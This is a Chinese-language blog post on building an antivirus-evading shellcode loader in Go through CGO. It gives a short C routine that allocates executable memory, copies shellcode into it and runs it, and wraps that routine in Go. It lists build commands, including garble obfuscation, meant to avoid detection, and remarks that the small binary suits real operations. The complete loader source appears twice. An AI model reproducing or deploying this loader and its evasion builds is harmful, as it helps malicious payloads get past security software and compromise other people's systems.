CGO的免杀体验

思路都是摸鱼时候蹦出来的

闲聊几句

在Github冲浪的时候,发现了一个项目使用了CGO来直接调用Windows API,避免了Go调用Windows API的各种繁琐操作

但Go调用C需要CGO作为桥梁,CGO文档:https://pkg.go.dev/cmd/cgo

写一个三行代码的加载器

使用C写一个加载器真的很简单,C的好处就是可以直接和内存交互

#include <windows.h>

void direct(uintptr_t p, int len) {
    LPVOID Memory = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(Memory, (void*)p, len);
	((void(*)())Memory)();
}

加载的流程:分配内存空间、拷贝shellcode、执行

CGO的联动

先看完整的代码

/*
#include <windows.h>

void invokeDLL(uintptr_t p, int len) {
    LPVOID Memory = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(Memory, (void*)p, len);
	((void(*)())Memory)();
}
*/
import "C"
import "unsafe"

func InvokeDLL(p []byte) {
	C.invokeDLL((C.uintptr_t)(uintptr(unsafe.Pointer(&p[0]))), (C.int)(len(p)))
}

将C定义的函数在Go之中调用,就是CGO强大。但是要注意调用定义的C方法使用需要使用前缀C.来说明是调用C,接着将C对应的数据类型和Go的数据类型对应,再转换成Go的函数正常调用即可

免杀效果

编译命令 1

go build -ldflags=”-s -w -H=windows” -trimpath .

d2b5ca33bd20240812172056

编译命令 2

go build -ldflags=”-s -w” -trimpath .

d2b5ca33bd20240812172203

编译命令 3

garble -tiny -literals -seed=random build -ldflags=”-s -w” -trimpath

d2b5ca33bd20240812172303

总结

基本上区别不大,但是会少了很多对Go调用API的检查,代码压缩得很小也利于实战

但这只是一个非常基础的加载器,截图中都是不考虑shellcode的免杀的,这点要注意一下

附上完整的代码

package main

/*
#include <windows.h>

void invokeDLL(uintptr_t p, int len) {
    LPVOID Memory = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	memcpy(Memory, (void*)p, len);
	((void(*)())Memory)();
}
*/
import "C"
import "unsafe"

func InvokeDLL(p []byte) {
	C.invokeDLL((C.uintptr_t)(uintptr(unsafe.Pointer(&p[0]))), (C.int)(len(p)))
}

func main() {
	InvokeDLL(shellcode)
}

 

 

 

© 版权声明
THE END
喜欢就支持一下吧
点赞8 分享
评论 共2条

请登录后发表评论

    请登录后查看评论内容